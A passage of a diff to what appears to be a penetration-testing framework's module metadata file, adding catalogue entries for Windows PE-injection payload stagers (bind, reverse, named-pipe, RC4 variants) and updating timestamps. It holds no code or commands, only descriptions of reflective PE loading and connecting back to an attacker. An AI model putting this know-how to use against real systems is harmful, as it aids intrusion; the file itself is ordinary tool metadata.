"is_install_path": true,
"ref_name": "windows/peinject/bind_hidden_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_ipv6_tcp": {
"name": "Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)",
"fullname": "payload/windows/peinject/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_ipv6_tcp_uuid": {
"name": "Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/windows/peinject/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_named_pipe": {
"name": "Windows Inject PE Files, Windows x86 Bind Named Pipe Stager",
"fullname": "payload/windows/peinject/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"UserExistsError"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a pipe connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_nonx_tcp": {
"name": "Windows Inject PE Files, Bind TCP Stager (No NX or Win7)",
"fullname": "payload/windows/peinject/bind_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"vlad902 <vlad902@gmail.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (No NX)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_tcp": {
"name": "Windows Inject PE Files, Bind TCP Stager (Windows x86)",
"fullname": "payload/windows/peinject/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_tcp_rc4": {
"name": "Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/peinject/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_tcp_uuid": {
"name": "Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/windows/peinject/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/find_tag": {
"name": "Windows Inject PE Files, Find Tag Ordinal Stager",
"fullname": "payload/windows/peinject/find_tag",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"skape <mmiller@hick.org>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Use an established connection",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/findtag_ord.rb",
"is_install_path": true,
"ref_name": "windows/peinject/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_ipv6_tcp": {
"name": "Windows Inject PE Files, Reverse TCP Stager (IPv6)",
"fullname": "payload/windows/peinject/reverse_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker over IPv6",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_named_pipe": {
"name": "Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/windows/peinject/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_nonx_tcp": {
"name": "Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)",
"fullname": "payload/windows/peinject/reverse_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"vlad902 <vlad902@gmail.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker (No NX)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_ord_tcp": {
"name": "Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)",
"fullname": "payload/windows/peinject/reverse_ord_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"spoonm <spoonm@no$email.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_ord_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp": {
"name": "Windows Inject PE Files, Reverse TCP Stager",
"fullname": "payload/windows/peinject/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_allports": {
"name": "Windows Inject PE Files, Reverse All-Port TCP Stager",
"fullname": "payload/windows/peinject/reverse_tcp_allports",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_allports",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_dns": {
"name": "Windows Inject PE Files, Reverse TCP Stager (DNS)",
"fullname": "payload/windows/peinject/reverse_tcp_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_dns",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_rc4": {
"name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/peinject/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_rc4_dns": {
"name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
"fullname": "payload/windows/peinject/reverse_tcp_rc4_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_rc4_dns",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_uuid": {
"name": "Windows Inject PE Files, Reverse TCP Stager with UUID Support",
"fullname": "payload/windows/peinject/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/pingback_bind_tcp": {
"name": "Windows x86 Pingback, Bind TCP Inline",
"fullname": "payload/windows/pingback_bind_tcp",
@@ -161887,7 +164591,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-08-02 15:47:36 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/singles/windows/pingback_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/pingback_bind_tcp",
@@ -161920,7 +164624,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-05 14:48:37 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/singles/windows/pingback_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/pingback_reverse_tcp",
@@ -162102,7 +164806,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/shell/bind_ipv6_tcp",
@@ -162139,7 +164843,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/shell/bind_ipv6_tcp_uuid",
@@ -162174,7 +164878,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-27 19:24:51 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/shell/bind_named_pipe",
@@ -162245,7 +164949,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/shell/bind_tcp",
@@ -162283,7 +164987,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/shell/bind_tcp_rc4",
@@ -162319,7 +165023,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/shell/bind_tcp_uuid",
@@ -162495,7 +165199,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/shell/reverse_tcp",
@@ -162568,7 +165272,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/shell/reverse_tcp_dns",
@@ -162606,7 +165310,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/shell/reverse_tcp_rc4",
@@ -162644,7 +165348,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/shell/reverse_tcp_rc4_dns",
@@ -162680,7 +165384,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/shell/reverse_tcp_uuid",
@@ -162715,7 +165419,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-06-11 04:48:52 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_udp.rb",
"is_install_path": true,
"ref_name": "windows/shell/reverse_udp",
@@ -162994,7 +165698,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/upexec/bind_ipv6_tcp",
@@ -163031,7 +165735,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/upexec/bind_ipv6_tcp_uuid",
@@ -163066,7 +165770,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-27 19:24:51 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/upexec/bind_named_pipe",
@@ -163136,7 +165840,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/upexec/bind_tcp",
@@ -163174,7 +165878,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/upexec/bind_tcp_rc4",
@@ -163210,7 +165914,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/upexec/bind_tcp_uuid",
@@ -163386,7 +166090,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/upexec/reverse_tcp",
@@ -163459,7 +166163,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/upexec/reverse_tcp_dns",
@@ -163497,7 +166201,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/upexec/reverse_tcp_rc4",
@@ -163535,7 +166239,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/upexec/reverse_tcp_rc4_dns",
@@ -163571,7 +166275,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/upexec/reverse_tcp_uuid",
@@ -163606,7 +166310,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-06-11 04:48:52 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_udp.rb",
"is_install_path": true,
"ref_name": "windows/upexec/reverse_udp",
@@ -163716,7 +166420,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
